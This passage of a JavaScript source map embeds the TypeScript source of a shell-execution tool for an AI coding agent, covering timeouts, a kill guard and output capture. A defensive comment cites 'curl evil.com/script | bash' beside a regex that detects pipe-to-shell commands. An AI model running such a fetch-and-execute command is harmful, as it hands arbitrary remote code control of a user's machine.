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",
|
|
6
|
-
"names": ["spawn", "os", "isWin", "os", "os", "path", "hostname", "platform", "fs", "path", "isWin", "shell", "buf", "child", "spawn", "pid", "timeoutMs"]
|
|
4
|
+
"sourcesContent": ["import { spawn } from 'node:child_process';\nimport * as os from 'node:os';\nimport {\n emitProcessCompleted,\n emitProcessOutput,\n emitProcessStarted,\n type Context,\n type Tool,\n type ToolStreamEvent,\n} from '@wrongstack/core';\nimport { buildChildEnv } from './_env.js';\nimport { createOutputSpool, spoolNote } from './_output-spool.js';\nimport { normalizeCommandOutput } from './_util.js';\nimport { getProcessRegistry, redactCommand } from './process-registry.js';\nimport { checkAndBlockKillCommand } from './bash-kill-guard.js';\nimport { pickShell, shellArgs, type BashShell, wrapPowerShellScript, diagnoseBashism } from './_shell-pick.js';\nimport { resolvePowerShell } from './_win32-resolve.js';\n\ninterface BashInput {\n command: string;\n timeout_ms?: number | undefined;\n background?: boolean | undefined;\n}\n\ninterface BashOutput {\n output: string;\n exit_code: number | null;\n timed_out: boolean;\n pid?: number | null | undefined;\n error?: string | undefined;\n}\n\nconst MAX_OUTPUT = 32_768;\n// 32 KB \u2014 keeps context manageable for arbitrary commands. bash output\n// is typically unbounded LLM tool-use context; larger caps risk pushing\n// the context window to compaction on every invocation.\n\n// 5 minutes \u2014 generous enough for most real-world commands (npm install,\n// docker build, etc.) without letting a hung process consume the session.\n// The per-call timeout_ms parameter still allows precise overrides.\n// The circuit breaker's slow-call threshold (180s) sits below this so\n// commands that run >3min still count as \"slow\" and can trip the breaker\n// after 3 occurrences.\nconst DEFAULT_TIMEOUT_MS = 300_000;\n\n// Flush partial_output every 200ms or when 4 KiB accumulates \u2014 whichever\n// comes first. Smaller batches make the TUI feel responsive; larger ones\n// keep EventBus traffic reasonable on chatty processes.\nconst STREAM_FLUSH_INTERVAL_MS = 200;\nconst STREAM_FLUSH_BYTES = 4 * 1024;\n\n// Maximum chunks buffered between the child's data handlers and the\n// streaming consumer before the pipes are paused (backpressure). Without\n// this, a consumer that stalls \u2014 or a generator that was torn down while a\n// (grand)child keeps writing \u2014 lets `queue`/`pending` grow without bound\n// and can OOM the host process.\nconst MAX_QUEUE_CHUNKS = 500;\n\nexport const bashTool: Tool<BashInput, BashOutput> = {\n name: 'bash',\n category: 'Shell',\n description:\n 'Execute an arbitrary command in the user\\'s default shell (bash/zsh/pwsh/cmd). ' +\n 'stdout and stderr are merged into one stream. This is the most powerful and dangerous tool \u2014 ' +\n 'it gives the model full access to the developer\\'s machine. Prefer specialized tools whenever possible.',\n usageHint:\n 'SECURITY WARNING: This tool runs with the full privileges of the current user.\\n\\n' +\n 'Best practices for the model:\\n' +\n '- Strongly prefer `exec` for known safe commands (node, npm, pnpm, tsc, git, etc.).\\n' +\n '- Use bash only when you genuinely need shell features (pipes, redirection, complex one-liners).\\n' +\n '- Prefer single focused commands over huge `&&` chains.\\n' +\n '- Use `background: true` only for long-running processes (dev servers, watchers).\\n' +\n '- The working directory is the project root.\\n' +\n '- Output may be truncated in the middle for very large results.',\n selection: {\n doNotUseWhen: 'the command is allowlisted and does not require pipes, redirection, or shell expansion.',\n useInstead: ['exec'],\n },\n permission: 'confirm',\n mutating: true,\n riskTier: 'destructive',\n icon: 'terminal',\n // Trust rules match on the literal `command` string. Without subjectKey\n // the policy heuristic would have done the same here, but declaring it\n // explicitly removes the implicit cross-tool aliasing.\n subjectKey: 'command',\n capabilities: ['shell.arbitrary'],\n timeoutMs: 300_000,\n maxOutputBytes: MAX_OUTPUT,\n estimatedDurationMs: 30_000,\n inputSchema: {\n type: 'object',\n properties: {\n command: {\n type: 'string',\n description: 'The exact shell command to run. Prefer simple, focused commands.',\n },\n timeout_ms: {\n type: 'integer',\n description: 'Optional timeout for this specific command in milliseconds.',\n },\n background: {\n type: 'boolean',\n description: 'If true, launch the process in the background and return the PID immediately.',\n },\n },\n required: ['command'],\n },\n async execute(input, ctx, opts) {\n let final: BashOutput | undefined;\n const executeStream = bashTool.executeStream;\n if (!executeStream) throw new Error('bashTool: stream execution unavailable');\n for await (const ev of executeStream(input, ctx, opts)) {\n if (ev.type === 'final') final = ev.output;\n }\n if (!final) throw new Error('bash: stream ended without final event');\n return final;\n },\n async *executeStream(input, ctx, opts): AsyncGenerator<ToolStreamEvent<BashOutput>> {\n if (!input?.command) throw new Error('bash: command is required');\n\n const registry = getProcessRegistry();\n // Background processes bypass the circuit breaker \u2014 they are fire-and-forget\n // and should not affect breaker state. This allows background vitest, dev\n // servers, etc. to run even when the breaker is open.\n const bypassBreaker = !!input.background;\n if (!registry.beforeCall(bypassBreaker)) {\n yield {\n type: 'final',\n output: {\n output: '',\n exit_code: 1,\n timed_out: false,\n pid: null,\n error:\n 'bash: circuit breaker open \u2014 too many consecutive failures or slow calls. Use /kill to inspect or /kill reset to recover.',\n },\n };\n return;\n }\n\n // Kill protection: block commands that try to kill protected WrongStack processes\n // This includes direct kill commands, bash -c wrapped kills, and name-based kills (pkill, killall)\n const killCheck = await checkAndBlockKillCommand(input.command);\n if (killCheck.blocked) {\n yield {\n type: 'final',\n output: {\n output: '',\n exit_code: 1,\n timed_out: false,\n pid: null,\n error: killCheck.reason || 'Kill command blocked: targets a protected WrongStack process.',\n },\n };\n return;\n }\n\n // Security: detect and warn about pipe-to-shell patterns that could lead to\n // arbitrary code execution (e.g., \"curl evil.com/script | bash\"). This pattern\n // is particularly dangerous because the user confirms a seemingly innocuous command\n // but the downloaded script executes arbitrary code.\n const PIPE_TO_SHELL_PATTERN = /\\|\\s*(sh|bash|ksh|zsh|fish|cmd|powershell|pwsh)/i;\n if (PIPE_TO_SHELL_PATTERN.test(input.command)) {\n console.warn(JSON.stringify({\n level: 'warn',\n event: 'bash.pipe_to_shell_detected',\n message: 'Detected pipe-to-shell pattern. Consider reviewing the full command before confirming.',\n command_prefix: input.command.slice(0, 100), // Log first 100 chars for review\n timestamp: new Date().toISOString(),\n }));\n }\n\n const timeoutMs = Math.max(1, Math.min(input.timeout_ms ?? DEFAULT_TIMEOUT_MS, 600_000));\n\n const isWin = os.platform() === 'win32';\n // Shell selection:\n // - POSIX: existing behavior \u2014 `WRONGSTACK_SHELL` override, else `$SHELL`\n // if it names an allowlisted shell, else `/bin/bash`. cmd.exe-style\n // semantics don't apply on POSIX.\n // - Windows: delegate to `pickShell`, which honours `WRONGSTACK_SHELL`\n // (when set to cmd|powershell|pwsh), auto-detects PowerShell-style\n // commands (so Codex-style `Get-Content`/`Set-Location`/etc. work\n // without forcing every user to set an env var), and falls back to\n // `cmd.exe` for legacy scripts. The `BashShell` sentinel is then\n // mapped to the actual binary path below.\n //\n // The user-controllable `SHELL` and `COMSPEC` env vars are NOT trusted\n // \u2014 a user (or another agent) could point them at an arbitrary binary on\n // shared systems. Only `WRONGSTACK_SHELL` (and the hard-coded defaults\n // in `_shell-pick.ts` / this block) are honoured.\n type ShellPlan = {\n /** Binary path passed to spawn(). */\n bin: string;\n /** argv prefix (everything except the inline command). */\n argv: readonly string[];\n /** When true, write `input.command` to the child's stdin instead of\n * passing it as an argv. PowerShell uses this because quotes and\n * dollar-signs can break `-Command \"...\"` quoting; `pwsh -Command -`\n * reads the script from stdin verbatim. */\n useStdin: boolean;\n stdinBody: string | undefined;\n };\n let plan: ShellPlan;\n // The resolved Windows shell kind, kept in scope so the post-failure\n // bash-ism diagnosis below can speak the right shell's syntax. undefined on\n // POSIX (no diagnosis there \u2014 bash idioms are correct).\n let winShellKind: BashShell | undefined;\n if (isWin) {\n const shell: BashShell = pickShell('win32', input.command, {\n get: (k) => process.env[k],\n });\n winShellKind = shell;\n // Resolve a sensible default binary. `pickShell` decided the shell\n // kind, but the actual spawn uses a real path:\n // - 'cmd' \u2192 COMSPEC or `cmd.exe`. The user can override\n // via WRONGSTACK_SHELL=cmd (already handled by\n // pickShell).\n // - 'powershell' \u2192 `powershell.exe` (Windows PS 5.1).\n // - 'pwsh' \u2192 `pwsh.exe` (PS 7+) if installed, else fall\n // back to `powershell.exe`. We don't probe the\n // filesystem here; _win32-resolve.ts does the\n // PATHEXT walk at spawn time and surfaces ENOENT\n // cleanly if PowerShell is not installed.\n // `resolvePowerShell` walks PATH/PATHEXT to find the binary (PS 7 is\n // not always on PATH; legacy PS 5.1 is in System32). For 'cmd' we let\n // Node's own PATH search handle COMSPEC \u2014 `cmd.exe` is always on\n // System32 which is in PATH by default.\n const bin =\n shell === 'powershell'\n ? resolvePowerShell('powershell.exe')\n : shell === 'pwsh'\n ? resolvePowerShell('pwsh.exe')\n : process.env['COMSPEC'] ?? 'cmd.exe';\n plan = {\n bin,\n argv: shellArgs(shell),\n useStdin: shell === 'powershell' || shell === 'pwsh',\n stdinBody: (shell === 'powershell' || shell === 'pwsh') ? wrapPowerShellScript(input.command) : undefined,\n };\n } else {\n // POSIX: use WRONGSTACK_SHELL if set; else honor $SHELL only when it\n // names an allowlisted shell (bash/zsh/sh/dash/fish); else /bin/bash.\n const explicit = process.env['WRONGSTACK_SHELL'];\n let bin: string;\n if (explicit) bin = explicit;\n else {\n const fromEnv = process.env['SHELL'];\n if (fromEnv) {\n const name = fromEnv.split('/').pop() ?? '';\n if (['bash', 'zsh', 'sh', 'dash', 'fish'].includes(name)) bin = fromEnv;\n else bin = '/bin/bash';\n } else bin = '/bin/bash';\n }\n plan = { bin, argv: ['-c'], useStdin: false, stdinBody: undefined };\n }\n const shell = plan.bin;\n const args = plan.useStdin ? [...plan.argv] : [...plan.argv, input.command];\n\n const env = buildChildEnv(ctx.session?.id);\n\n // On POSIX we put the shell in its own process group so that timeout /\n // abort can kill the entire group with `process.kill(-pid)`. Otherwise\n // `bash -c \"sleep 9999 & disown\"` would leave the grandchild running.\n // Never on Windows: timeouts tree-kill via taskkill /T instead, and\n // DETACHED_PROCESS would void windowsHide (grandchildren would pop\n // visible console windows \u2014 see the background-mode spawn below).\n const detached = !isWin;\n\n const startedAt = Date.now();\n\n if (input.background) {\n // Background mode: capture stdout/stderr with bounded buffers so a\n // malicious command can't write unbounded output. Apply MAX_OUTPUT cap.\n let buf = '';\n let truncated = false;\n const child = spawn(shell, args, {\n cwd: ctx.projectRoot,\n env,\n // PowerShell takes the script on stdin (no argv quoting); cmd.exe\n // and POSIX shells ignore stdin when given the command inline.\n stdio: [plan.useStdin ? 'pipe' : 'ignore', 'pipe', 'pipe'],\n // win32: CreateProcess IGNORES CREATE_NO_WINDOW (windowsHide) when\n // DETACHED_PROCESS (detached: true) is set, so the console-less\n // cmd.exe's grandchildren (node, dev servers) each allocate a fresh\n // VISIBLE console window. detached: false lets CREATE_NO_WINDOW\n // apply: the child gets a hidden console that grandchildren inherit.\n // Windows children survive parent exit either way. POSIX keeps\n // detached for the process-group kill semantics.\n detached: !isWin,\n windowsHide: true,\n });\n // PowerShell: stream the script to stdin and close. We do this AFTER\n // spawn() returns because `child.stdin` is only available then. The\n // write is buffered in the OS pipe; pwsh reads it as it boots. Closing\n // stdin is what tells pwsh \"end of script\" \u2014 without an .end(), the\n // pipe stays open and pwsh waits forever for more input.\n if (plan.useStdin) {\n try {\n child.stdin?.write(plan.stdinBody ?? input.command);\n child.stdin?.end();\n } catch {\n /* spawn already errored \u2014 the error handler below will fire */\n }\n }\n const pid = child.pid;\n let stdoutBytes = 0;\n let stderrBytes = 0;\n let telemetryCompleted = false;\n emitProcessStarted({\n ...(pid !== undefined ? { pid } : {}),\n parentPid: process.pid,\n command: redactCommand(`${shell} ${args.join(' ')}`),\n args: redactCommand(args.join(' ')).split(' ').filter(Boolean),\n cwd: ctx.projectRoot,\n background: true,\n startedAt: new Date(startedAt).toISOString(),\n });\n const completeBackground = (exitCode: number, signal?: string | undefined) => {\n if (telemetryCompleted) return;\n telemetryCompleted = true;\n emitProcessCompleted({\n ...(pid !== undefined ? { pid } : {}),\n exitCode,\n ...(signal ? { signal } : {}),\n durationMs: Date.now() - startedAt,\n stdoutBytes,\n stderrBytes,\n timedOut: false,\n endedAt: new Date().toISOString(),\n });\n };\n if (typeof pid === 'number') {\n registry.register({\n pid,\n name: 'bash',\n command: redactCommand(input.command),\n startedAt: Date.now(),\n sessionId: ctx.session?.id,\n child,\n processGroupLeader: detached && child.pid === pid,\n });\n // Register the close handler on the same tick as spawn() so the\n // handler is guaranteed to be in place before Node's event loop\n // can deliver the close event.\n child.on('close', () => registry.unregister(pid));\n }\n const onBgData = (chunk: Buffer, stream: 'stdout' | 'stderr') => {\n if (stream === 'stdout') stdoutBytes += chunk.byteLength;\n else stderrBytes += chunk.byteLength;\n emitProcessOutput({ pid, stream, chunk });\n if (truncated) return;\n const remain = MAX_OUTPUT - buf.length;\n if (remain > 0) {\n buf += chunk.toString().slice(0, remain);\n }\n if (buf.length >= MAX_OUTPUT) {\n truncated = true;\n // Cap reached \u2014 stop accumulating. The streams stay in flowing\n // mode so the rest of the output is read and discarded (pausing\n // would fill the OS pipe buffer and block the background process).\n child.stdout?.off('data', onBgStdout);\n child.stderr?.off('data', onBgStderr);\n }\n };\n const onBgStdout = (chunk: Buffer) => onBgData(chunk, 'stdout');\n const onBgStderr = (chunk: Buffer) => onBgData(chunk, 'stderr');\n child.stdout?.on('data', onBgStdout);\n child.stderr?.on('data', onBgStderr);\n const cleanupBackground = () => {\n child.stdout?.off('data', onBgStdout);\n child.stderr?.off('data', onBgStderr);\n };\n child.on('error', () => {\n cleanupBackground();\n if (typeof pid === 'number') registry.unregister(pid);\n registry.afterCall(Date.now() - startedAt, true, bypassBreaker);\n completeBackground(1);\n });\n // The pipe handles would otherwise keep the parent's event loop alive\n // for as long as the background process runs \u2014 child.unref() alone\n // does not release stdio. A one-shot (--print) run could never exit\n // while a background dev server kept its pipes open.\n child.on('close', (code, signal) => {\n cleanupBackground();\n registry.afterCall(Date.now() - startedAt, false, bypassBreaker);\n completeBackground(code ?? (signal ? 1 : 0), signal ?? undefined);\n });\n if (typeof pid === 'number') child.unref(); // unref() so the event loop can exit while this background process runs.\n yield {\n type: 'final',\n output: {\n output: normalizeCommandOutput(buf),\n exit_code: null,\n timed_out: false,\n pid,\n },\n };\n // P2 #5: record the background launch as a structured side effect.\n ctx.recordSideEffect?.({\n toolUseId: `bash-bg-${Date.now()}`,\n toolName: 'bash',\n ts: new Date().toISOString(),\n input: { command: redactCommand(input.command), background: true },\n outcome: `launched (pid ${pid ?? 'unknown'})`,\n risk: 'shell',\n });\n return;\n }\n\n // Foreground mode: pipe stdout/stderr for streaming output.\n // On Windows the abort signal is handled manually below instead of being\n // passed to spawn(): Node's built-in handling kills only the direct\n // child (cmd.exe), which destroys taskkill's parent-pid tree enumeration\n // and orphans the actual command (node/vitest/dev server). The orphan\n // keeps the inherited stdio pipes open and streams into this process\n // for the rest of the session.\n const child = spawn(shell, args, {\n cwd: ctx.projectRoot,\n env,\n // PowerShell takes the script on stdin (no argv quoting); cmd.exe\n // and POSIX shells ignore stdin when given the command inline.\n stdio: [plan.useStdin ? 'pipe' : 'ignore', 'pipe', 'pipe'],\n detached,\n windowsHide: true,\n ...(isWin ? {} : { signal: opts.signal }),\n });\n // PowerShell: stream the script to stdin and close. We do this AFTER\n // spawn() returns because `child.stdin` is only available then. The\n // write is buffered in the OS pipe; pwsh reads it as it boots. Closing\n // stdin is what tells pwsh \"end of script\" \u2014 without an .end(), the\n // pipe stays open and pwsh waits forever for more input.\n if (plan.useStdin) {\n try {\n child.stdin?.write(plan.stdinBody ?? input.command);\n child.stdin?.end();\n } catch {\n /* spawn already errored \u2014 the error handler below will fire */\n }\n }\n\n // Register with global registry so Ctrl+C / /kill can find and kill it.\n const pid = child.pid;\n let stdoutBytes = 0;\n let stderrBytes = 0;\n let telemetryCompleted = false;\n emitProcessStarted({\n ...(pid !== undefined ? { pid } : {}),\n parentPid: process.pid,\n command: redactCommand(`${shell} ${args.join(' ')}`),\n args: redactCommand(args.join(' ')).split(' ').filter(Boolean),\n cwd: ctx.projectRoot,\n background: false,\n startedAt: new Date(startedAt).toISOString(),\n });\n const completeForeground = (exitCode: number, signal?: string | undefined) => {\n if (telemetryCompleted) return;\n telemetryCompleted = true;\n emitProcessCompleted({\n ...(pid !== undefined ? { pid } : {}),\n exitCode,\n ...(signal ? { signal } : {}),\n durationMs: Date.now() - startedAt,\n stdoutBytes,\n stderrBytes,\n timedOut,\n endedAt: new Date().toISOString(),\n });\n };\n if (typeof pid === 'number') {\n registry.register({\n pid,\n name: 'bash',\n command: redactCommand(input.command),\n startedAt: Date.now(),\n sessionId: ctx.session?.id,\n child,\n processGroupLeader: detached && child.pid === pid,\n });\n }\n\n let buf = '';\n let pending = '';\n let timedOut = false;\n const timers: NodeJS.Timeout[] = [];\n // Full-output spool: `buf` keeps only the first MAX_OUTPUT bytes for the\n // model; everything else used to be dropped. The spool streams the FULL\n // output to a file once it exceeds the cap, and the final result carries\n // a marker pointing at it \u2014 file-based instead of in-memory/in-context.\n const spool = createOutputSpool({ tool: 'bash', thresholdBytes: MAX_OUTPUT });\n\n function killWithTimeout(\n child: ReturnType<typeof spawn>,\n timeoutMs: number,\n ): void {\n if (isWin) {\n // Let the registry handle Windows tree-kill and its fallback timing.\n // A direct child.kill() before taskkill settles can orphan the real\n // command and leave inherited stdio pipes open.\n if (typeof child.pid === 'number' && child.exitCode === null) {\n const attempted = registry.kill(child.pid, { force: true, graceMs: timeoutMs });\n if (!attempted) {\n try { child.kill(); } catch { /* ignore */ }\n }\n } else {\n try { child.kill(); } catch { /* ignore */ }\n }\n return;\n }\n\n if (typeof child.pid === 'number') {\n registry.kill(child.pid, { graceMs: timeoutMs });\n } else {\n try {\n child.kill('SIGTERM');\n } catch {\n /* ignore */\n }\n const killTimer = setTimeout(() => {\n try {\n child.kill('SIGKILL');\n } catch {\n /* ignore */\n }\n }, timeoutMs);\n timers.push(killTimer);\n killTimer.unref?.();\n }\n }\n\n const timer = setTimeout(() => {\n timedOut = true;\n killWithTimeout(child, 2000);\n }, timeoutMs);\n timers.push(timer);\n timer.unref?.();\n\n // Windows abort handling (see the spawn() comment above): tree-kill on\n // abort while the shell is still alive so its grandchildren die with it.\n const onAbort = 